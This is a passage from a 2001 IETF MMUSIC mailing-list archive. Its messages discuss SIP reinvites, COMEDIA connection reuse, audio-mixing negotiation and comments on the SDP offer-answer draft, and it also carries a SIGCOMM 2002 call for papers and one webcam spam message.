	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA19427
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 10:54:00 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB5Isgg15287
	for <confctrl@isi.edu>; Wed, 5 Dec 2001 10:54:42 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB5IqS4I015789;
	Wed, 5 Dec 2001 13:52:28 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Y872>; Wed, 5 Dec 2001 13:53:59 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D711D@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'sip@ietf.org'" <sip@ietf.org>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [Simple] New I-D on IM transport
Date: Wed, 5 Dec 2001 13:53:58 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


(cc'ing mmusic since there is a comedia issue in here, and trimming simple)
 

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Thursday, November 29, 2001 3:01 PM
> To: Jonathan Rosenberg
> Cc: 'sip@ietf.org'; Ben Campbell; simple@mailman.dynamicsoft.com
> Subject: Re: [Simple] New I-D on IM transport
> 
> 
> > > - what if there is no problem with signalling but there 
> is a problem
> > > with the media stream? Then the reinvite will reach the original
> > > endpoint rather than a backup. It will not be able to 
> distinguish this
> > > reinvite from one for some other purpose, like session timer
> > > refresh. It
> > > will note that the sdp has not changed, and may choose to
> > > simply return
> > > the last sdp it sent. (This could happen if the sip and media
> > > travel on
> > > different network connections to the same host, or if the
> > > media is on a
> > > separate device with its own network connection.)
> > 
> > I guess this seems to me to be the right behavior. What 
> would you want to
> > happen in this case?
> 
> Doing nothing in response to the problem seems wrong to me.
> But clearly it is difficult to figure out the right thing to do.
> Possible actions:
> - switch to a different port. See if that helps.
> - switch to a different media server, if it is independent of the 
>   sip UA itself
> - record the fact that a caller reinvited because of presumed media
>   problems at this end. Eventually an accumulation of these might lead
>   to taking this box out of service.

The assumption in the reconstitute draft is that a re-invite is generally
only going to be useful to fix the problem where a UA failed, and thus we
need to reconstruct state at a backup. If its a network problem, its not
clear to me that changing ports or servers will fix those problems. Indeed,
one might argue that if there is a network problem, the SIP messaging is not
likely to get through either...


> > > - in a separate mail thread on the comedia draft, we 
> identified some
> > > added problems with reinvites and connection oriented 
> media. In that
> > > case, what is negotiated in the sdp is used to establish a media
> > > connection, so it isn't idempotent to subsequent 
> invitations. There is
> > > need to indicate in the sdp whether to renegotiate the 
> connection or
> > > not. I don't think we ever fully resolved that. But I 
> believe it is
> > > important that something in the sdp be changed to 
> indicate a desire to
> > > renegotiate the connection. The same kind of scenario 
> applies here.
> > 
> > This is a good point. I think its a pure co-media issue, 
> though, and that
> > needs to be addressed in that draft.
> 
> Fair enough, as long as the rules you are trying to craft 
> dovetail with
> that. It may not be sufficient to simply reinvite with same old SDP;
> it may be required to do something slightly different on a per-media
> basis.

Right; you likely need to use a=reuse. One thing that is missing from
comedia, though, is what to do if no existing connection exists. This would
be an issue for the reconstitute draft, since it would send a re-invite with
a=reuse, which might arrive at a new server that doesn't have a connection.
Indeed, one might argue that reuse is orthogonal to a=active/passive/both.
a=reuse would say what to do if the connection exists, the rest would say
what to do when it doesn't.


> 
> > > All of these issues suggest to me that some explicit 
> information needs
> > > to be conveyed indicating what is being attempted. Part of
> > > this might be
> > > a Reason header indicating that the reinvite is being 
> sent to recover
> > > from a perceived problem.
> > 
> > I'm still not convinced, so long as the comedia issue is handled.
> 
> You may be right, but I have the feeling the problem is bigger than
> just comedia. Reinvites can be sent for many reasons, and errors can
> show their symptoms in many ways. The assumption you are 
> making is that
> the reinvite will always induce another problem, 

induce another problem? No - the reinvite would get routed to another box
that is up.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Dec  5 12:19:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA29751
	for confctrl-outgoing; Wed, 5 Dec 2001 12:19:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA29745
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 12:19:46 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB5KKTg13040
	for <confctrl@isi.edu>; Wed, 5 Dec 2001 12:20:29 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB5KIK4I016361;
	Wed, 5 Dec 2001 15:18:20 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Y9D7>; Wed, 5 Dec 2001 15:19:50 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D7122@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'zeren@pobox.com'" <zeren@pobox.com>, sip@ietf.org
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [Sip] Negotiating audio mixing capabilities
Date: Wed, 5 Dec 2001 15:19:49 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Mark Zeren [mailto:markzeren@mediaone.net]
> Sent: Saturday, November 17, 2001 11:22 AM
> To: sip@ietf.org
> Subject: [Sip] Negotiating audio mixing capabilities
> 
> 
> 
> I have several questions regarding the negotiation of audio mixing
> capabilities.
> 
> The recent "draft-rosenberg-mmusic-sdp-offer-answer-00.txt," 
> states: "when
> receiving multiple streams of the same type, the streams MUST be mixed
> before playing them out."
> 
> If the answerer cannot mix multiple streams (for example because of a
> hardware limitation) how should it indicate this information 
> to the offerer?

Presumably it would refuse all of the streams but one. If you want to
indicate that these streams don't need to be mixed, and that playing one at
a time is reasonable, I think the fid specification
(http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-05.txt) would
allow you to declare that by defining each as its own group. However, this
is unclear from the fid specification, which really only covers how to send
to a group of streams, not the interpretation of receiving media from a
group of streams. That should probably be addressed.


> 
> If the offerer is optionally capable of mixing to one m line (e.g. by
> acquiring an external conferencing resource), how should that 
> capability be
> communicated to and allocated by the answerer?

There is no capability for that. These things can get really complicated.
You have to weight those complexities against those of doing mixing, which
is really not that complex for a small number of streams. The bigger problem
may be the lack of availability of access bandwidth (wireless handsets, for
example).

> 
> These questions also bear on the "Centralized Signaling, 
> Distributed Media"
> conferencing model recently described in
> "draft-ietf-sipping-conferencing-models-00.txt". In that 
> model a central
> controller would send an invite with multiple m lines, one 
> for each other
> participant in the call. How can a controller indicate that 
> it is also able
> to allocate a conferencing resource to mix the media for a 
> less capable
> terminal?

Same answer as above - there is no capability for that at this time.

Its not clear whether this is an SDP issue or a SIP issue; one approach
could be to add a warning header of sorts into a 4xx to indicate this (we do
that for other SDP related incompatibilities)


> Additionally, once the controller has allocated a 
> conferencing
> resource it may want to offer the resource to the other 
> participants in the
> call. A re-invite could be used to force all other parties to use the
> conferencing resource, but I see no way to offer the 
> conferencing resource
> as an "option" to the other participants.

I think this is an fid issue; you are offering a set of streams that are
grouped together, such that you want to choose one group or the other. I'd
welcome inputs from mmusic folks on whether something like this is in the
scope of fid.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Dec  5 12:49:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA03986
	for confctrl-outgoing; Wed, 5 Dec 2001 12:49:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA03977
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 12:49:25 -0800 (PST)
Received: from c.psc.edu (c.psc.edu [128.182.73.106])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fB5Ko7g28963
	for <confctrl@isi.edu>; Wed, 5 Dec 2001 12:50:07 -0800 (PST)
Received: by d.psc.edu for confctrl@isi.edu; Wed, 5 Dec 2001 15:50:05 -0500
Date: Wed, 5 Dec 2001 15:50:05 -0500
From: "Vivian M. Benton" <benton@psc.edu>
To: confctrl@ISI.EDU
CC: BENTON@vms.psc.edu
Message-Id: <011205155005.20814e40@psc.edu>
Subject: Reminder: SIGCOMM 2002 Call for Papers
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

CALL FOR PAPERS
ACM SIGCOMM 2002 Conference
19-23 August 2002, Pittsburgh, Pennsylvania

DEADLINE FOR ABSTRACTS: January 25, 2002

The SIGCOMM 2002 conference seeks papers describing significant research
contributions to the field of computer and data communication networks. 
Authors are invited to submit full papers concerned with the theory, practice,
and evaluation of networks. We are especially interested in innovative and
thought-provoking ideas across a wide range of topics related to networking.

Areas of interest include:

o Network protocols
o Algorithms, protocols, and systems for routing, switching, and signaling
o Network resource management and sharing, quality of service, operating system
support    for networking
o Wireless, mobile, and pervasive networking, networking with specialized
devices and sensors
o Experimental and measurement results from operational networks and protocols
o Network management, traffic engineering, 	and real-world experience
o Network fault-tolerance and reliability, debugging, and troubleshooting
o Peer-to-peer networking architectures, overlay-based network services and
applications, novel distributed applications and middleware
o Systems and protocols for video, audio, telephony, and games
o Web protocols and systems, content distribution networks
o Network security, vulnerabilities, and defenses
o Programmable network architectures and infrastructure
o Lessons about network scalability, insights and models of the structure and
behavior of communication networks

NEW THIS YEAR: SIGCOMM 2002 solicits submissions of "position papers"
articulating high-level architectural visions, describing challenging future
directions, or critiquing current design wisdom.  Accepted position papers will
be presented at the conference and appear in the proceedings. In addition,
SIGCOMM 2002 is open to proposals for panel discussions on timely and
controversial topics.  Panel proposals should include the topic and motivation
for the panel, the names of the panel chair and panelists, and an outline of
the format of the panel discussion.

Tutorials 
SIGCOMM 2002 will feature two days of full-day and half-day tutorials covering
single topics in detail, at both the introductory or advanced level. Proposals
should be sent to the Tutorials Chair and must include an extended abstract
(2-4 pages) containing a description of the topic and intended audience, a
biography of the speaker(s), and an indication of length.  Individuals
interested in submitting tutorial proposals are encouraged to contact the
Tutorials Chair before the deadline to discuss the proposed content.

Student Paper Award
Papers submitted by students may be considered for a student paper award. To be
eligible, a student or group of students must be primary contributors to the
paper. Such papers should be indicated as such on the paper submission web
page.

SIGCOMM Award 
SIGCOMM 2002 will begin with a keynote by the 2002 winner of the ACM SIGCOMM
Award for lifetime contributions to the field of computer communication.
Procedures for nominating candidates for the SIGCOMM Award can be obtained from
Craig Partridge (craig@bbn.com).

As in previous years, SIGCOMM 2002 will have a poster session and student
travel grant program. Visit the conference web site for details.

Submission details are available at:
        www.acm.org/sigcomm/sigcomm2002/

Dates to Remember*
    Submission of abstract to register paper:
            25 January 2002 by 23:59 EST

    Submission of full paper:
            1 February 1 2002 by 23:59 EST

    Submission of tutorial proposal:
            15 February 2002

    Submission of position paper:
            1 March 2002

    Submission of panel proposal:
            1 March 2002 

    Notification of acceptance: 
	 22 April 2002
        	
    Camera ready papers:
	7 June 2002

*All deadlines are FIRM; unlike previous years, no extensions will be granted.

For more information:

General Co-Chairs
	Peter Steenkiste, Carnegie Mellon University
	prs@cs.cmu.edu
	Matt Mathis, Pittsburgh Supercomputing Center
	mathis@psc.edu

Program Co-Chairs
	Vern Paxson, ACIRI/ICSI
	vern@aciri.org
	Hari Balakrishnan, MIT
	hari@lcs.mit.edu

Tutorials Chair
	Srinivasan Seshan, Carnegie Mellon University
	srini@cmu.edu

Publicity Chair
	Vivian Benton, Pittsburgh Supercomputing Center
	benton@psc.edu

Local Arrangements Chair
	Janet Brown, Pittsburgh Supercomputing Center
	brown@psc.edu



From confctrl-owner  Wed Dec  5 22:39:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA08356
	for confctrl-outgoing; Wed, 5 Dec 2001 22:39:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA08344
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 22:39:35 -0800 (PST)
Received: from s3.iti.lt (s3.iti.lt [193.219.1.34])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB66eGg11821;
	Wed, 5 Dec 2001 22:40:17 -0800 (PST)
Received: (from apache@localhost)
	by s3.iti.lt (8.11.2/8.8.7) id fB66ppJ09430;
	Thu, 6 Dec 2001 08:51:51 +0200
Date: Thu, 6 Dec 2001 08:51:51 +0200
Message-Id: <200112060651.fB66ppJ09430@s3.iti.lt>
To: conbil55@msn.com, CONEJO74@AOL.COM, CONEJO74@HOTMAIL.COM, conf@educom.edu,
        confctrl@ISI.EDU, confctrl-request@ISI.EDU,
        confocal@listserv.acsu.buffalo.edu, confreon@juno.com,
        confucius@joymail.com, CongMcIntyre@mail.house.gov
From: hrbyt@AOL.COM ()
Subject: whats up                                              339716971
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Below is the result of your feedback form.  It was submitted by
 (hrbyt@aol.com) on Thursday, December 6, 2001 at 08:51:51
---------------------------------------------------------------------------

: Hey, what's up, yall?  I found a site and if you want to meet people and talk to people on webcam, you should check this out.  They're now giving members totally free memberships!    You don't even need your own webcam.  You can watch live videos of family, friends, or anybody!  What is there to lose?<br><a href="http://lllil.com/livewebcam">http://lllil.com/livewebcam
<br><br><br><br></a>To take yourself off my mailing list <a href="http://lllil.com/list-off>click here</a>.<br><br><br>513209343

---------------------------------------------------------------------------


From confctrl-owner  Thu Dec  6 01:35:33 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA15151
	for confctrl-outgoing; Thu, 6 Dec 2001 01:35:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA15146
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 01:35:32 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB69aDg23326;
	Thu, 6 Dec 2001 01:36:13 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB69WNV06787;
	Thu, 6 Dec 2001 01:32:23 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id fB69WNf28487;
	Thu, 6 Dec 2001 01:32:23 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id BAA18636; Thu, 6 Dec 2001 01:32:20 -0800 (PST)
Message-ID: <3C0F3B3A.D299F266@cisco.com>
Date: Thu, 06 Dec 2001 04:32:43 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Colin Perkins'" <csp@ISI.EDU>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
References: <B65B4F8437968F488A01A940B21982BF020D7104@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

>
>
> > -----Original Message-----
> > From: Colin Perkins [mailto:csp@ISI.EDU]
> > Sent: Wednesday, December 05, 2001 1:36 AM
> > To: Jonathan Rosenberg
> > Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
> > Subject: Re: Comments on
> > <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> >
> >
> > --> Jonathan Rosenberg writes:
> > ...
> > >> - Section 2 mentions that SDP allows for concatenation of multiple
> > >> session descriptions. I can't seem to find this in the SDP
> > >> spec - where
> > >> does it say that ?
> > >
> > >Page 7:
> > >
> > >   When SDP is conveyed by SAP, only one session description
> > is allowed
> > >   per packet.  When SDP is conveyed by other means, many SDP session
> > >   descriptions may be concatenated together (the `v=' line
> > indicating
> > >   the start of a session description terminates the previous
> > >   description).
> >
> > This was one of the changes in sdp-new: SDP is now silent on
> > the issue of
> > concatenation, since that seemed more appropriately specified
> > as part of
> > the transport of SDP.
> >
> > Are people happy with this change? I can revert it if not...
>
> I think thats good. This fits well with offer-answer, which basically says
> that for O/A transport, its not used.

I agree, not least considering that the meaning of concatening multiple
session description is not specified in SDP itself and hence will be
application specific anyway.

-- Flemming


>
>
> -Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec  6 02:27:17 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA17242
	for confctrl-outgoing; Thu, 6 Dec 2001 02:27:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA17237
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 02:27:16 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB6AS0g03308
	for <confctrl@ISI.EDU>; Thu, 6 Dec 2001 02:28:00 -0800 (PST)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB6ANdV01045;
	Thu, 6 Dec 2001 02:23:39 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id fB6ANdY16569;
	Thu, 6 Dec 2001 02:23:39 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id CAA23664; Thu, 6 Dec 2001 02:23:36 -0800 (PST)
Message-ID: <3C0F473E.3D084560@cisco.com>
Date: Thu, 06 Dec 2001 05:23:59 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
References: <B65B4F8437968F488A01A940B21982BF020D70E8@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> Flemming,
>
> Thanks for the detailed comments. Responses inline.
>
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Tuesday, November 06, 2001 6:26 PM
> > To: Jonathan Rosenberg; Henning Schulzrinne
> > Cc: MMUSIC
> > Subject: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> >
> >
> > Thanks for putting together
> > <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>. A couple of
> > questions
> > and comments:
> >
> > - Section 2 specifies that "Either an e line or p line MUST
> > be present."
> > however this was made optional in
> > <draft-ietf-mmusic-sdp-new-03.txt>. In
> > general, I think we should avoid stating or repeating
> > requirements that
> > belong in the SDP specification itself.
>
> Yes, good points.
>
> I don't want to make offer-answer dependent on sdp-new. However, what I will
> do is state that the SDP must be valid, as specified in rfc2327, except that
> the restriction on having either an e or p line is lifted, so that neither
> may be present. This brings us into alignment without introducing a
> dependency. The draft says that its recommended that you accept SDP without
> these, but that wording is not strong enough for interop.
>
> >
> > - Section 2 mentions that SDP allows for concatenation of multiple
> > session descriptions. I can't seem to find this in the SDP
> > spec - where
> > does it say that ?
>
> Page 7:
>
>    When SDP is conveyed by SAP, only one session description is allowed
>    per packet.  When SDP is conveyed by other means, many SDP session
>    descriptions may be concatenated together (the `v=' line indicating
>    the start of a session description terminates the previous
>    description).
>

OK

>
> >
> > - Section 2 says that "Once the offerer has sent the offer, it MUST be
> > prepared to receive media described by that offer." For send/receive
> > media streams, I believe the offerer must also be prepared to
> > send such
> > media (although obviously it can't until it gets the answer).
>
> I don't understand. If it can't send until it gets the answer, what does it
> mean to be prepared to send after sending the offer?
>

It basically means that on bi-directional streams, I always support the codec
bi-directionally, since we cannot specify asymmetric codec usage on a
bi-directional stream in SDP (this may be clearer if you continue reading
below).

>
> >
> > - Section 2.1: I share the concerns raised by others about
> > the following
> > sentence: "When receiving multiple streams of the same type,
> > the streams
> > MUST be mixed before playing them out". This seems overly restrictive.
>
> Without well defined behavior, I don't see how we will have reasonable
> interoperability. Applications will depend on knowing what the end system
> will do with media. What would be your proposal?
>

Ideally, I would have a default (which could be the above) and then attributes
enabling me to specify different behavior. However, since such attributes would
have to be defined as extensions, it raises the usual question of how to deal
with extensions and ensure interoperability (which btw reminds me that we should
give some consideration to including the PINT "require" attribute in sdp-new,
and personally I wouldn't mind seeing a "supported" attribute too). Also, while
mixing for audio seems like a reasonable default, I don't know what it means to
mix for example a video stream, so maybe we should only specify mixing as the
default for audio streams.

However, this particular issue probably deserves some more discussion.


>
> >
> > - Section 3: The sentence "The definition of rejected is both neither
> > offerer and answerer MUST NOT generate media (or RTCP
> > packets) for that
> > stream." doesn't seem to parse quite right.
>
> OK. How about:
>
> If a stream is rejected, the offerer and
> answerer {\MUSTNOT} generate media (or RTCP packets) for that
> stream.
>

OK

>
> >
> > - Section 3 says that "Once the answer has been sent, the
> > answerer MUST
> > be prepared to receive media as described in the answer.". For
> > send/receive streams I believe the answerer must also be prepared to
> > send such media.
>
> Same as above; I don't understand what this means.
>

Same again - I was trying to capture the bi-directional codec support on
bi-directional streams (see below).


>
> >
> > - Section 3.1. says (for sendrecv media streams) that "The stream MAY
> > indicate additional codecs, not listed in the corresponding stream in
> > the offer, that the answerer is willing to receive with."
> > This makes the
> > interpretation of the codecs listed context-dependent which is fairly
> > unfortunate. If the answerer wishes to add additional codecs to the
> > sendrecv stream, he should be able to both send and receive
> > those codecs
> > (regardless of whether the offerer seems interested in receiving media
> > encoded with such codecs).
>
> Well, he can't send with them, since the offerer hasn't indicated that they
> are supported. So, effectively, they are receive only.
>

I disagree that they aren't supported. All you know is that the offerer has not
indicated a desire to send or receive with this codec. You are inferring a
uni-directional capability by this being an answer as opposed to an offer, and
that's what I'm not happy about since it deviates from the normal case of
bi-directionality by context only. This seems to make things like third party
call control more complicated and potentially lead to unnecessary failures. I
can see other restrictions as well.


>
> >
> > - Section 4.3 says that "The offerer MUST NOT cease listening
> > for media
> > on the old port until media arrives on the new port. At that time, it
> > MAY cease listening for media on the old port.". This means that you
> > allow the presence of media to serve as confirmation of your offer. I
> > think this opens up a race condition and would prefer getting
> > the answer
> > back as well.
>
> Thats a good point. Text now reads:
>
> soon as the offer is sent. The offerer {\MUSTNOT} cease listening for
> media on the old port until the answer is received and media arrives
> on the new port. At that time, it {\MAY} cease listening for media on
> the old port.
>

OK

>
> >
> > - Section 4.3. says that "When a new codec is used with a dynamic
> > payload type number, it MUST NOT reuse a dynamic payload type number
> > used previously in the session.". I don't think the sentence
> > accurately
> > captures the intention (since "new codec" seems to simply refer to the
> > most recent offer) which I belive is simply to forbid changing the
> > mapping from a given payload type to a given codec. If that
> > mapping was
> > done X offer/invite exchanges ago, and we want to reuse it now, it
> > should be allowed.
>
> Correct.
>
> I've reworded. It now reads:
>
> The list of codecs used in the session {\MAY} be changed. To do this,
> the offerer creates a new media description, with the list of media
> formats in the m line different from the corresponding stream in the
> previous SDP. This list {\MAY} include new codecs, and {\MAY} remove
> codecs present from the previous SDP. However, the mappings of a
> particular codec to a dynamic payload type number {\MUSTNOT} change
> for the duration of a session. For example, if A generates an offer
> with G.711 assigned to dynamic payload type number 46, and then later
> updates the session by removing the codec, and then once again adds it
> back, dynamic payload type number 46 could not be used for any other
> codec except for G.711. However, it is acceptable for multiple payload
> type numbers to be mapped to the same codec, so that an updated offer
> would use payload type number 72 for G.711. The mappings need to
> remain fixed for the duration of the session because of the loose
> synchronization between signaling exchanges of SDP and the media
> stream.
>
> Is this better?
>

Much better.

>
> >
> > - Section 4.3 is silent on what the offerer and answerer do with the
> > codecs (and media types) from the previous successful offer/answer. At
> > what point do the offerer and answerer stop accepting media
> > according to
> > the old offer and answer ?
>
> Good question. Its simple when there is no overlap in the set of codecs
> between the original offer and the new one; you accept on the old until you
> get both the answer AND someone starts using the new codecs. When there is
> overlap, its more complex. If the other side changes codecs to one of the
> overlapping codecs, you don't know if this was due to receiving the offer,
> or just an unrelated change in selection of media for the previous offer.
>
> How about this:
>
> The corresponding media stream in the answer is formulated as
> described in Section \ref{sec:sdp:answer}. The offerer MUST be
> prepared to use codecs from the old offer/answer exchange, until it
> (1) receives the answer, and (2) receives media using a codec not
> previously allowed from the old offer/answer exchange, or one minute
> elapses, which ever happens first. The offerer MUST send using codecs
> from the new offer/answer as soon as the answer is received, and MUST
> be prepared to receive using codecs from the new offer as soon as the
> offer is sent. The answerer MUST be prepared to use codecs from the
> old offer/answer exchange until it receives media using a codec not
> previously allowed from the old offer/answer exchange, or one minute
> elapses, which ever happens first. The answerer MUST send using codecs
> from the new offer/answer as soon as it sends the answer, and MUST be
> prepared to receive using codecs from the new answer as soon as it is sent.
>

In practice, I don't think the one minute thing is a reasonable requirement, but
I will have to think more about alternative ways of synchronizing.


>
> > Also, what happens if the offer is
> > rejected ?
>
> You no longer need to listen for media using the new codecs/ports. I added a
> few sentences to that effect:
>
> Of course, if the offered stream is rejected, the offer can cease
> being prepared to receive using the new port as soon as the
> rejection is received.
>
> and:
>
> Of course, if the offered stream is rejected, the offer can cease
> being prepared to receive using any new codecs as soon as the
> rejection is received.
>
> >
> > - Finally, for generality, the I-D should probably avoid some
> > of the SIP
> > specific wording (e.g. "re-INVITE", "sending a SIP message")
> > and simply
> > talk about sending offers and answers.
> >
>
> Done.
>
> This did require the movement of one paragraph from this draft back into
> bis:
>
> This means that a
> re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
> re-{\INVITE} contains the offer. In this case, the
> offerer {\MUST} offer the same SDP it provided previously. This is to
> ensure that the offered SDP in the 2xx will be acceptable to the UAC,
> as there is no way to reject it.
>
> This will appear in bis-06.
>

OK - thanks for the responses.

-- Flemming


>
> Thanks,
> Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec  6 08:18:36 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA29585
	for confctrl-outgoing; Thu, 6 Dec 2001 08:18:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA29579
